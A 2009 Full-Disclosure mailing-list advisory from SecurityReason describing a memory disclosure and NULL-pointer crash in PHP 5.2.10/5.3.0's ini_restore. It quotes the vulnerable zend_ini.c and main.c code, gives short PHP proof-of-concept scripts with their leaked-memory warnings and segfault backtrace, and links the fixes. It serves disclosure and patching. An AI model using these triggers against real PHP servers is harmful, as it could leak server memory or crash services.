[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] SECURITYREASON: PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ]

Author: Maksymilian Arciemowicz
http://SecurityReason.com
Date:
- - - Dis.: 10.07.2009
- - - Pub.: 06.08.2009

Risk: High

Affected Software:
- - - PHP 5.3.0
- - - PHP 5.2.10

Original URL:
http://securityreason.com/achievement_securityalert/65

- - --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.

http://lu2.php.net/manual/en/function.ini-restore.php

ini_restore ? Restores the value of a configuration option

ini_restore  ( string $varname  )

- - --- 1. PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ---
The main problem exist in restoring php config environments. To
demonstrate the problem, we need to declare variables via ini_set()
function. When we try use ini_restore(), variables in class PG() will
indicate any part of memory.

- - ---zend_ini.c---
static int zend_restore_ini_entry_cb(zend_ini_entry *ini_entry, int
stage TSRMLS_DC) /* {{{ */
{
    if (ini_entry->modified) {
        if (ini_entry->on_modify) {
            zend_try {
            /* even if on_modify bails out, we have to continue on with
restoring,
                since there can be allocated variables that would be
freed on MM shutdown
                and would lead to memory corruption later ini entry is
modified again */
                ini_entry->on_modify(ini_entry, ini_entry->orig_value,
ini_entry->orig_value_length, ini_entry->mh_arg1, ini_entry->mh_arg2,
ini_entry->mh_arg3, stage TSRMLS_CC);
            } zend_end_try();
        }
        if (ini_entry->value != ini_entry->orig_value) {
            efree(ini_entry->value);
        }
        ini_entry->value = ini_entry->orig_value;
        ini_entry->value_length = ini_entry->orig_value_length;
        ini_entry->modified = 0;
        ini_entry->orig_value = NULL;
        ini_entry->orig_value_length = 0;
        if (ini_entry->modifiable >= (1 << 3)) {
            ini_entry->modifiable >>= 3;
        }
    }
    return 0;
}
- - ---zend_ini.c---

Flag modified will be reset, and we can not considered modified variable.
We don't check value of ini_entry->on_modify() and PG() will be now out
of memory range.

To demonstrate this issue

- - ---example0 (5.2.10/5.3.0)---
127# uname -a && php -v
OpenBSD 127.cxib 4.6 GENERIC#0 i386
PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Jul  5 2009 21:43:12)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
    with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH
127# cat /var/www/www/sess.php
<?php

ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?>
127# php /var/www/www/sess.php AAA
PHP Warning:  session_start():
open($­|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No
such file or directory (2) in /var/www/www/sess.php on line 5
PHP Warning:  Unknown:
open($­|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No
such file or directory (2) in Unknown on line 0
PHP Warning:  Unknown: Failed to write session data (files). Please
verify that the current setting of session.save_path is correct ($­|ma:
no-cache) in Unknown on line 0
127# php /var/www/www/sess.php
PHP Warning:  session_start():
open(¤^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed:
No such file or directory (2) in /var/www/www/sess.php on line 5
PHP Warning:  Unknown:
open(¤^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed:
No such file or directory (2) in Unknown on line 0
PHP Warning:  Unknown: Failed to write session data (files). Please
verify that the current setting of session.save_path is correct (¤^j|ma:
no-cache) in Unknown on line 0
- - ---example0 (5.2.10/5.3.0)---

The main problem is started in ini_restore("session.save_path"). To show
this issue, we need use some function with PG() inside (like:
session_start()).

- - ---example1 (5.3.0)---
127# uname -mrs && php -v
NetBSD 5.0 i386
PHP 5.3.0 (cli) (built: Jul 15 2009 23:47:25)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyrght (c) 1998-2009 Zend Technologies
127# cat /www/file.php
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?>

127# php /www/file.php
PHP Warning:  include(): open_basedir restriction in effect. File(B) is
not within the allowed path(s): (4?e»X?p») in /www/file.php on line 7

Warning: include(): open_basedir restriction in effect. File(B) is not
within the allowed path(s): (4?e»X?p») in /www/file.php on line 7
PHP Warning:  include(B): failed to open stream: Operation not permitted
in /www/file.php on line 7

Warning: include(B): failed to open stream: Operation not permitted in
/www/file.php on line 7
PHP Warning:  include(): Failed opening 'B' for inclusion
(include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7

Warning: include(): Failed opening 'B' for inclusion
(include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7

127# curl http://localhost/file.php
<br />
<b>Warning</b>:  include() [<a
href='function.include'>function.include</a>]: open_basedir restriction
in effect. File(B) is not within the allowed path(s): (°?e»Hup») in
<b>/www/file.php</b> on line <b>7</b><br />
<br />
<b>Warning</b>:  include(B) [<a
href='function.include'>function.include</a>]: failed to open stream:
Operation not permitted in <b>/www/file.php</b> on line <b>7</b><br />
<br />
<b>Warning</b>:  include() [<a
href='function.include'>function.include</a>]: Failed opening 'B' for
inclusion (include_path='.:/usr/pkg/lib/php') in <b>/www/file.php</b> on
line <b>7</b><br />
- - ---example1 (5.3.0)---

Variable PG(open_basedir) is now out of range. So any function (like:
include()) with

php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in
effect. File(%s) is not within the allowed path(s): (%s)", path,
PG(open_basedir));

will print memory

examples:
- - ---
Warning: ini_restore() [function.ini-restore]: open_basedir restriction
in effect. File() is not within the allowed path(s): (¤©f»ESSID) in
/www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction
in effect. File() is not within the allowed path(s): (,Şf»aaaaaa) in
/www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction
in effect. File() is not within the allowed path(s): (?¬f»ESSID) in
/www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction
in effect. File() is not within the allowed path(s): (ČËe»ef_root) in
/www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction
in effect. File() is not within the allowed path(s): (4Íe»r.ini) in
/www/ssij.php on line 8
- - ---

Variables in class PG, may take any value.
So code such as

if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC))

can be manipulated.

But not only zend_ini.c have issue. When we try use ini_set() and
ini_restore() for error_log, php will crash.

Function OnUpdateErrorLog, dosen't check that new_value is empty (null
point). It should provide to crash.

- - ---main.c---
static PHP_INI_MH(OnUpdateErrorLog)
{
...
    /* Only do the safemode/open_basedir check at runtime */
    if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS)
        && strcmp(new_value, "syslog")) {
...
- - ---main.c---

strcmp(3) will check new_value. So new_value can not be NULL.

here:

    STD_PHP_INI_ENTRY("error_log",                NULL,       
PHP_INI_ALL,        OnUpdateErrorLog,           
error_log,                php_core_globals,    core_globals)


default error_log is NULL

...("error_log",                NULL,...

so if we put some string, and remove it, php should crash

127# php -r 'ini_set("error_log","A");ini_restore("error_log");'
Segmentation fault (core dumped)

127# gdb -q php
(gdb) r -r 'ini_set("error_log","A");ini_restore("error_log");'
Starting program: /usr/local/bin/php -r
'ini_set("error_log","A");ini_restore("error_log");'

Program received signal SIGSEGV, Segmentation fault.
0x288ee410 in strcmp () from /lib/libc.so.7

bt:
#0  0x288ee410 in strcmp () from /lib/libc.so.7
#1  0x081c7b85 in OnUpdateErrorLog (entry=0x28a65a80, new_value=0x0,
    new_value_length=3, mh_arg1=0x38, mh_arg2=0x83d5420, mh_arg3=0x0,
stage=16)
    at /usr/ports/lang/php5/work/php-5.3.0/main/main.c:354
#2  0x0824cb85 in zend_restore_ini_entry_cb (ini_entry=0x28a65a80, stage=16)
    at /usr/ports/lang/php5/work/php-5.3.0/Zend/zend_ini.c:55
#3  0x0824d3f5 in zend_restore_ini_entry (name=0x28a1e36c "error_log",
    name_length=10, stage=16)
...

Functions like OnUpdateErrorLog, should check, that new_value is not a
NULL pointer.

- - --- 2. Fix ---
(5.3.0):
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c

(5.2.10):
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c

- - --- 3. Greets ---
stas

sp3x Infospec Chujwamwdupe p_e_a pi3

- - --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib {a.t] securityreason [d00t} com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

- -----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkp7FoMACgkQpiCeOKaYa9YWFwCbBhEvA69nQDgwXyuDdU8wbjmu
ZIEAniHiQ3puTKqEtw9u8g6/T/806j7A
=DvtO
- -----END PGP SIGNATURE-----

-----BEGIN PGP SIGNATURE-----
 
iEYEARECAAYFAkp8K+IACgkQpiCeOKaYa9YUewCfWuE0ehBHN9yKqTMSbjqyKFha
HxkAoKCMZuWZIUWUn/4TZI6b+fDk5aiH
=khdY
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/